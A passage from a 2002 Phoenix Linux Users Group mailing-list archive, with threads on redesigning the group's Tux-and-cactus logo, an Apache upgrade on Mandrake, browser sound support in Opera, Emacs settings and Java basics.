-0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 20 Jun 2002 21:55:43 -0700 (MST) Subject: openoffice.org ready for prime time? Message-ID: As seen on /. NY Times, June 20, 2002, OpenOffice.org: "The world waited for a contender that was so compelling, people might actually consider filing for Microsoft divorce. Now there is one. It's called OpenOffice, and it has a killer feature: it's free. " http://www.nytimes.com/2002/06/20/technology/circuits/20STAT.html free registration required ... - t From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:57:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 21:57:37 -0700 Subject: Plug Logo Update References: Message-ID: <000b01c218e0$29ec5410$2f7c0d82@peyote> for that i will have to ask, Mr. Austin how he would feel about posting the master somewhere. he has donated his time to this project, so i dont think he would have a problem with it. slr ----- Original Message ----- From: "Matt Wyant" To: Sent: Thursday, June 20, 2002 5:39 PM Subject: RE: Plug Logo Update > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 05:04:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 22:04:10 -0700 Subject: Plug Logo Update References: Message-ID: <001701c218e1$14834290$2f7c0d82@peyote> good point. i will get Austin to create one with saguaro's as well. slr ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 7:25 PM Subject: Re: Plug Logo Update > It is beautiful, but... > > The saguaro cactus is very well known and both easily recognized and > automatically associated with Arizona. I think it is a mistake to change the > cacti in the logo to some other species. I would like to see it as majestic > saguaro cacti so our logo graphically announces our location in Arizona. > > Alan > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > well austin is the man, he is done. so for all you guys and gals who are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new image. > > Austin is done with the complete re-draw of Tux, and i must say it is the > > most beautiful computer generated Tux image i have ever seen. the lines are > > so clean, and aliasing is non-existent on the edges and should remain that > > way no matter how big or small the image is. he would have already been > > done with it, but our CEO has slammed him with a lot of work. so hopefully > > by next week sometime we will have a complete vector image, and by looks of > > it so far, one we will all be very proud to hang across our upper torso's. > > :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 00:28:29 -0700 (MST) Subject: Plug Logo Update In-Reply-To: <001701c218e1$14834290$2f7c0d82@peyote> Message-ID: Am 20. Jun, 2002 schwätzte slr so: > good point. i will get Austin to create one with saguaro's as well. If we he does, can we impose further and get sag w/ and w/o blossoms? Saguaro blossom is the official flower of .az.us, so it'd be cool to have one with flowers, but they'd look like zits on small images... ciao, der.hans -- # https://www.LuftHans.com/ # "There are two kinds of people; Human beings and women. And when women # start acting like human beings, they are accused of trying to be men." # -- Simone de Beauvoir From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 07:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Fri, 21 Jun 2002 00:38:29 -0700 Subject: Off-topic... Message-ID: <7D2FB294FA311F4299D03CC8D3904370716598@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg) Content-type: text/plain; charset="iso-8859-1" I'm a wannabe. I don't quite have a Mac yet but I will soon and I will be attempting to port some genomics apps to it. So consider me interested. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Jiva DeVoe [mailto:jivad@earthlink.net] Sent: Thursday, June 20, 2002 4:24 PM To: Plug-Discuss Subject: Off-topic... So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? 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= --Boundary_(ID_TXs/46g2FJeoupgPOyOTfg)-- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 13:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 06:00:00 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210600.00339.dennisk@sahuaro.f2s.com> On Friday 21 June 2002 12:28 am, der.hans wrote: > Am 20. Jun, 2002 schwätzte slr so: > > good point. i will get Austin to create one with saguaro's as well. > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > one with flowers, but they'd look like zits on small images... > > ciao, > > der.hans The logo is looking good! The prickley pear work for me. Any reason not to do both pear and sahuaro for variety? I'm thinking t-shirts! Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:15:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Paul Dickson) Date: Fri, 21 Jun 2002 07:15:47 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <1024243844.12004.23.camel@nabla.phx.viz> References: <1024243844.12004.23.camel@nabla.phx.viz> Message-ID: <20020621071547.50a64287.dickson@permanentmail.com> On 16 Jun 2002 09:10:43 -0700, Gordon Chamberlin wrote: > Is anyone else annoyed by the new GUI menu bar that emacs now places > right under the text menu bar on a stock installation of Redhat 7.3? > > I have looked for a way to remove it, but have been unsuccessful so > far. If anyone could tell me the magic incantation configuration > setting that needs to be invoked, I would be very grateful. I really > want that space back to display information. > May I ask why you didn't look in the options menu? There is an option "Customize Emacs" with sub-option like "Browse Customization Groups". I disabled the toolbar that way, although I left the menu bar (so Emacs appears like it did in version 20). Perhaps this method was too obvious. :-) I'm running RH 7.2, but I've been updating various applications with the versions from RH 7.3. Doing this has been pretty trivial, since RH didn't make any significant, incompatible changes (if they did, they'd probably have labeled it RH 8.0). -Paul From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 07:37:14 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <002701c21931$22b4c780$2f7c0d82@peyote> actually that is what i was thinking, but i didnt know how the rest of the group would feel about that. but IMHO, i think we should have both. slr ----- Original Message ----- From: "Dennis Kibbe" To: Sent: Friday, June 21, 2002 6:00 AM Subject: Re: Plug Logo Update > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? > > I'm thinking t-shirts! > > Dennis Kibbe > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 14:57:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 07:57:17 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <3D133ECD.78A38C80@leml.asu.edu> Dennis Kibbe wrote: > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > Am 20. Jun, 2002 schwätzte slr so: > > > good point. i will get Austin to create one with saguaro's as well. > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to have > > one with flowers, but they'd look like zits on small images... > > > > ciao, > > > > der.hans > > The logo is looking good! The prickley pear work for me. Any reason not to do > both pear and sahuaro for variety? using vector graphics we can easily mix and match the background... Sunbathing Tux, Surfing Tux, Mountainbiking Tux, Skeet-shootin (bill's picture on each ;-) Tux, Rambo Tux, ... ;-) > I'm thinking t-shirts! My family used to do T-shirts, but I do not thin we all still do... I could ask, but something that we do still do is custom tile. Would a Saguaro Tux on a 6" ceramic tile trivet go over well? In the dark and distant past we also used to run a full ceramics studio... I invision Suguaro and Prickly Tux on coffee mugs ;-) hmmm.... time to talk to mom see what's up ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:12:30 -0700 (MST) Subject: Plug Certs? In-Reply-To: <3D125C0B.4070402@qwest.net> Message-ID: Sure! Which flavor Certs did you want, peppermint or wintergreen? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 15:55:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) Subject: apache upgrade Message-ID: Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:04:08 -0700 (PDT) Subject: Good Book on Programming and Algorithm Development Message-ID: <20020621160408.7595.qmail@web10604.mail.yahoo.com> Bill: Specifically, 'Java How to Program' from Dietel & Dietel is a really good book. Each chapter shows the programmer development techniques using the most commonly used algorithms (sorting, searching, recursion and some data structures like stacks and queues). The examples are very good, and the code explanation is very concise. I have a lot of 'useless' programming books - but this one is the best I've seen in a long time. Be prepared to shell out around $70 bucks for it though....But if you look around ...you will not find any book that matches it's subject matter. I Think they do a good job in explaining the in-and-outs of the specific programming language (in this case Java), and how to apply the common algorithms to the specific language. They have a series on Java Visual Basic (if anyone is interested) C C++ Python This list may be incomplete...But it's worth checking out.... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:19:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 21 Jun 2002 09:19:51 -0700 (MST) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... I didn't see any for Madrake.. try the RH version(?) Suggestion only as I don't run Mandrake but use this site when I run into 'requires package => foo' On Fri, 21 Jun 2002, William Lindley wrote: > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:20:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 09:20:55 -0700 (PDT) Subject: apache upgrade In-Reply-To: Message-ID: http://rpmfind.speakeasy.net is a MUCH faster mirror. On Fri, 21 Jun 2002, Patrick Fleming EA wrote: > > http://rpmfind.net/linux/rpm2html/search.php?query=gdbm-devel&submit=Search+... > > I didn't see any for Madrake.. try the RH version(?) Suggestion only as I > don't run Mandrake but use this site when I run into 'requires package => > foo' From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:25:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 09:25:43 -0700 (PDT) Subject: Help getting experience Message-ID: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Wow - when I saw the list, I realized I have a lot to learn. I'm a newbie in the computer field (I'm a software tech for a local software company), and the stuff on the list I hope I can pick up through the years... In the company I work for, I'm always looking over the programmer's shoulder and asking questions. The more questions you ask, the more you learn. Even though I went to school for IT, they never taught me the in's-and-outs of every-day programmings...just the basics. The stuff on your list is great, and any aspiring programmer will want to take a good look at it. BTW...my gut instinct tells me that the second example 'if (a.equals("something")){ ---instructions---- } will compile and work....I've seen this example before, but not sure why a.equals works rather than a == ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 16:37:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 09:37:41 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206210937.41191.zen2now@qwest.net> yes it is a little off center, but an easy fix. he didnt spend to much time, he grabbed one of the images from Larry's site to use as a template, and then did the redraw in like an hour. but the only vector based image @ http://www.isc.tamu.edu/~lewing/linux/ we could find, was a postscript version of the black and white penguin. that was why he decided to redraw it, but of coarse all credits for Tux himself should go to the owner. All that Austin has asked in return for his time is a T-Shirt. As for further work on the logo, that will have to resume on Monday. Austin has decided to take a long weekend and is not here today. I am going to have to talk to his boss! :~D slr On Thursday 20 June 2002 09:52 pm, Derek Neighbors wrote: > Is it just me or is teh Phoenix Linux on top not centered properly? > > Hopefully he didnt spend much time on 'redoing' Tux since LArry Ewing has > vector tux on his website already, also Larry does 'own' Tux, though he is > very generous and general just asks if you use Tux for merchandise that > you just provide him a piece of the merchandise for his 'collection'. > > -Derek > > On Thu, 20 Jun 2002 alandd@mindspring.com wrote: > > It is beautiful, but... > > > > The saguaro cactus is very well known and both easily recognized and > > automatically associated with Arizona. I think it is a mistake to change > > the cacti in the logo to some other species. I would like to see it as > > majestic saguaro cacti so our logo graphically announces our location in > > Arizona. > > > > Alan > > > > On Thu, 20 Jun 2002 17:26:50 -0700 slr wrote: > > > > well austin is the man, he is done. so for all you guys and gals who are > > interested. you can view the image @ > > > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > > > and of coarse feed back is welcome, just be nice. :~D > > > > slr > > > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > > I just wanted to give you guys an update on the progress of the new > > > image. Austin is done with the complete re-draw of Tux, and i must say > > > it is the most beautiful computer generated Tux image i have ever seen. > > > the lines are so clean, and aliasing is non-existent on the edges and > > > should remain that way no matter how big or small the image is. he > > > would have already been done with it, but our CEO has slammed him with > > > a lot of work. so hopefully by next week sometime we will have a > > > complete vector image, and by looks of it so far, one we will all be > > > very proud to hang across our upper torso's. > > > > > > :~D > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:00:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:00:30 -0700 Subject: Sound in opera - Linux at work Message-ID: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Hi, So far Opera 6.01 is the only browser that does all I need it to do except 1 thing. I have a web page that downloads a wav file when certain events happen. I have to be able to hear the wave file. I can hear sound if it comes in as part of a shockwave file. When I go to the preferences section "Enable embedded audio" is grayed out . I think that perhaps the line in the page that brings in the sound file may be a prorietary Microsoft tag. I've asked the developer to email me the code, but haven't gotten it yet. The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue using linux at work. HELP!!!! Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:26:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 21 Jun 2002 10:26:54 -0700 Subject: Sound in opera - Linux at work References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <005f01c21948$d8cd5430$0301010a@tickticker.com> Charlie, Is opera your only choice? Is this the end of Linux on your desktop? try mozilla, netscape or any of the other small army of browsers, one of them should do it. just not IE ;-) There are a couple sites out there that list them all, and hold on, try http://kmself.home.netcom.com/Linux/FAQs/browsers.html for a start. then you could also contact opera using one of the tools on http://www.opera.com/support/. they do have free email support Anthony ----- Original Message ----- From: "charlie bullen" To: Sent: Friday, June 21, 2002 10:00 AM Subject: Sound in opera - Linux at work > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the code, > but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:33:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Fri, 21 Jun 2002 10:33:17 -0700 (PDT) Subject: Apache expert at Installfest Message-ID: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Hello Linux users: Will there be an Apache 'expert' tomorrow at installfest? I can bring my machine with RH 7.2. I just need help installing Apache and getting it to run. I have no clue. If anyone recommends a better distribution that runs Apache, rather than RH, should I just reformat my drive and use that distribution instead? BTW, is it easier just to bring the CPU, KB and mice? Will the event have monitors and mice we can temporarily use? Looking forward to meet 'yall.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:47:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 21 Jun 2002 10:47:21 -0700 Subject: apache upgrade Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) From: William Lindley To: Phoenix Linux Users Group Cc: Scott Walters Subject: apache upgrade Reply-To: plug-discuss@lists.plug.phoenix.az.us Am on a Mandrake 7.2 box... I know there are remote exploits for Apache and I want to upgrade... Tried to use the Mandrake Update program to update Apache. it fails, with no sensible error message, so I'm trying to do it manually... Apparently there are about a dozen other RPMs apache depends on. This looked hopeless (download a.rpm, try to install, it wants b.rpm, download, it wants c.rpm, etc etc) So I downloaded the apache source rpm, but i can't install that because it wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. Any ideas how to proceed? \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:49:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 21 Jun 2002 10:49:41 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: <20020621173317.73750.qmail@web10601.mail.yahoo.com> Message-ID: Yeah, I'll be there to help you with Apache. On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux users: > > Will there be an Apache 'expert' tomorrow at > installfest? I can bring my machine with RH 7.2. I > just need help installing Apache and getting it to > run. > > I have no clue. If anyone recommends a better > distribution that runs Apache, rather than RH, should > I just reformat my drive and use that distribution > instead? > > BTW, is it easier just to bring the CPU, KB and mice? > Will the event have monitors and mice we can > temporarily use? > > Looking forward to meet 'yall.' > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:51:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:51:42 -0700 Subject: Fwd: Re: Sound in opera - Linux at work Message-ID: <200206211844.g5LIiR205516@PlugList.MyButt.Net> ---------- Forwarded Message ---------- Subject: Re: Sound in opera - Linux at work Date: Fri, 21 Jun 2002 10:40:37 -0700 From: charlie bullen To: plug-discuss@lists.plug.phoenix.az.us I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:09:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Fri, 21 Jun 2002 11:09:44 -0700 Subject: Help getting experience In-Reply-To: <20020621162543.52195.qmail@web10602.mail.yahoo.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> Message-ID: <200206211109.49382.isaac.sparrow@visicomp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > BTW...my gut instinct tells me that the second example > > 'if (a.equals("something")){ > > ---instructions---- > > } > > will compile and work....I've seen this example > before, > but not sure why a.equals works rather than a == > > ===== > Thanks, > Alpha Zenon Sanchez > "a.equls()" 